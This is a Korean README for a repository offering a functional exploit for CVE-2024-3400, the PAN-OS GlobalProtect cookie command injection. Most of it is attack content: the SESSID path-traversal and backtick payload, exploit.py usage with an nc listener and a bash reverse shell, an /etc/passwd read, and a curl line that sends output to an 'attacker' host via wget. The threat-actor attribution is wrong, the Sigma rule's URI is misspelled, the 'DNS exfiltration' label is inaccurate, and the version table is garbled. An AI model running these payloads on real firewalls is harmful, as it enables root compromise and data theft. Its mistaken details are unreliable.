
cve-2024-3400-panos_rce_reproduction의 재현
CVSS 10.0 치명적 | CWE-78: OS 명령 주입 | 실제 환경에서 대규모 악용됨
CVE-2024-3400은 Palo Alto Networks PAN-OS GlobalProtect 포털 및 게이트웨이 인터페이스의 사전 인증 명령 주입 취약점입니다. 이 취약점으로 인해 인증되지 않은 공격자는 영향을 받는 방화벽에서 루트 권한으로 임의 명령을 실행할 수 있습니다.
취약점은 GlobalProtect 포털 및 게이트웨이 구성 요소의 세션 쿠키 처리에 있습니다. SESSID 쿠키를 처리하는 함수는 셸 명령에 전달하기 전에 사용자 입력을 제대로 검증하지 못합니다.
구체적으로, 셸 메타문자(백틱 및 변수 확장)가 포함된 조작된 SESSID 쿠키와 함께 GlobalProtect 포털 엔드포인트(/global-protect/login.esp)로 전송된 인증되지 않은 HTTP 요청은 명령 주입으로 이어집니다.
취약한 코드 경로는 다음과 같이 작동합니다:
/global-protect/login.esp에 대한 요청을 수신합니다.SESSID 쿠키 값이 검증 없이 추출됩니다.system() 또는 이와 유사한 OS 명령 실행 함수를 통해 실행됩니다.주입 페이로드는 SESSID 쿠키 내에서 백틱으로 구분된 명령을 사용합니다:
SESSID=/../../../opt/panlogs/tmp/device_telemetry/`COMMAND`.py
경로 탐색(/../../../)은 의도된 디렉터리를 벗어나고, 백틱으로 묶인 COMMAND 부분으로 인해 셸이 공격자의 입력을 실행합니다. 출력 리디렉션 또는 리버스 셸 메커니즘을 사용하여 명령 결과를 유출할 수 있습니다.
| PAN-OS 버전 | 영향받는 버전 | 수정 버전 |
|---|---|---|
| 10.2.x | < 10.2.4-h16, < 10.2.5-h6, < 10.2.6-h3, < 10.2.7-h8, < 10.2.8-h3, < 10.2.9-h1 | 10.2.4-h16 / 10.2.5-h6 / 10.2.6-h3 / 10.2.7-h8 / 10.2.8-h3 / 10.2.9-h1 |
| 11.0.x | < 11.0.1-h10, < 11.0.2-h4, < 11.0.3-h10 |
참고: PAN-OS 9.x 및 이전 버전은 영향을 받지 않습니다. Cloud NGFW 및 Prisma Access는 영향을 받지 않습니다.
UNC4554 / Midnight Blizzard(APT29)가 2024년 3월부터 CVE-2024-3400을 0-day로 악용하는 것이 관찰되었습니다. Volexity는 2024년 4월 12일에 분석을 발표했습니다. 공격 패턴은 다음과 같습니다:
여러 공개 PoC가 공개되었습니다. 이 저장소는 승인된 테스트를 위한 기능적 익스플로잇을 제공합니다.
requests 라이브러리pip install requests
python exploit.py --target https://vulnerable-firewall.example.com --command "id"
# Start listener on attacker machine
nc -lvnp 4444
# Execute reverse shell
python exploit.py --target https://vuln-panos.example.com \
--command "bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'"
python exploit.py --target https://vuln-panos.example.com --command "cat /etc/passwd"
# Basic command execution test
curl -k --cookie "SESSID=/../../../opt/panlogs/tmp/device_telemetry/\`id\`.py" \
'https://target/global-protect/login.esp'
# Command output capture via DNS exfiltration
curl -k --cookie "SESSID=/../../../opt/panlogs/tmp/device_telemetry/\`wget -O- http://attacker/$(id|base64)\`.py" \
'https://target/global-protect/login.esp'
이 저장소의 exploit.py는 다음을 지원하는 완전한 기능의 Python 익스플로잇입니다:
SESSID 쿠키를 포함한 /global-protect/login.esp 요청/../../)와 백틱 문자가 결합된 쿠키/opt/panlogs/tmp/device_telemetry/에 .py 확장자로 작성된 파일title: CVE-2024-3400 PAN-OS GlobalProtect Command Injection
status: stable
logsource:
category: webserver
detection:
selection:
cs-uri-query: "/global-protocol/login.esp"
cs-cookie|contains:
- "../"
- "`"
condition: selection
set deviceconfig system telemetry disable yes (재부팅 없이 취약한 코드 경로 차단)/opt/panlogs/tmp/device_telemetry/에 무단 파일이 있는지 확인SESSID 쿠키 값이 있는지 GlobalProtect 로그인 로그 감사Palo Alto Networks에서 제공하는 핫픽스를 적용합니다. 이 수정은 셸 명령 구성 전에 쿠키 입력을 제대로 검증합니다.
악용이 의심되는 경우:
이 저장소는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 이 취약점의 무단 악용은 불법입니다. 작성자는 이 정보의 오용에 대해 책임을 지지 않습니다. 시스템을 테스트하기 전에 항상 명시적인 서면 허가를 받았는지 확인하세요.
MIT 라이선스 - 이 콘텐츠는 방어적 보안 연구 및 승인된 테스트를 위해 제공됩니다.
| 11.0.1-h10 / 11.0.2-h4 / 11.0.3-h10 |
| 11.1.x | < 11.1.1-h3 | 11.1.1-h3 |
| 출처 | 링크 |
|---|